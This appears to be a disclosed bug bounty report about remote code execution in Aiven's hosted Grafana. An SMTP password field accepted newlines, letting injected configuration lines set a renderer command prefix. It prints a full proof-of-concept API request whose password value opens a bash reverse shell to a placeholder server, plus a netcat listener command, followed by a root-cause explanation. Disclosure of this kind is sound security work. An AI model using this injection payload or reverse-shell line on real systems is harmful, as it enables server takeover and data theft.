Grafana RCE via SMTP server parameter injection
The SMTP password field in Aiven's Grafana configuration accepted newline characters, letting an attacker inject extra configuration lines. By injecting a renderer command prefix, an attacker could run arbitrary commands on the Grafana server.
- Triaged in 27 hours
- Fixed in 7 days
- Paid in 6 days
- Disclosed after 18 months
Summary:
This report is similar to #1180653, except with different parameter injection entrypoint.
SMTP server password configuration setting accepts new line characters. This can be used to set non-exported configuration variables. Using this CRLF-injection, the rendering_args of grafana image renderer can be modified which leads to code execution on the Grafana server.
Steps To Reproduce:
1.Create Aiven Grafana instance
2.Setup netcat listener on your server: nc -n -lvp 4444
3.Send the following request to the grafana instance, replace place holders. The aivenv1 token can be retrieved by inspecting the browser traffic.
4. Browse to https://INSTANCE_SUBDOMAIN.aivencloud.com/render/x to trigger the exploit.
PUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME HTTP/1.1
Host: console.aiven.io
Connection: keep-alive
Accept: application/json
Authorization: aivenv1 AIVEN_TOKEN_HERE
X-Aiven-Client-Version: aiven-console/3.5.1-1104.g2809991854
Content-Type: application/json
Origin: https://console.aiven.io
{
"user_config": {
"smtp_server": {
"host": "example.org",
"port": 1,
"from_address": "[email protected]",
"password": "x\r\n[plugin.grafana-image-renderer]\r\nrendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1"
}
}
}
Impact
Command execution on the grafana server. Access and modify data on the grafana server and possibly the attacker could pivot into other servers on the aiven network.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the SMTP password value was written into Grafana's configuration file without rejecting or escaping newline characters, allowing injection of arbitrary config keys.
Impact
An attacker could execute commands on the Grafana server, access and modify its data, and possibly pivot to other servers on the Aiven network.
What the attacker needed
An Aiven account with a Grafana instance; a valid Aiven API token; attacker-controlled server for the listener
How it was found
- Create an Aiven Grafana instance.
- Start a netcat listener on the attacker's server.
- Send a configuration update request to the Aiven console API with a crafted SMTP password containing injected config lines.
- Visit the render endpoint on the Grafana instance to trigger the injected command.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Configuration files are often built by pasting user-supplied values into a text file. If a value can contain a line break, the attacker can start a new line and add their own settings. Here that let them tell Grafana to run a shell command when it rendered an image.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.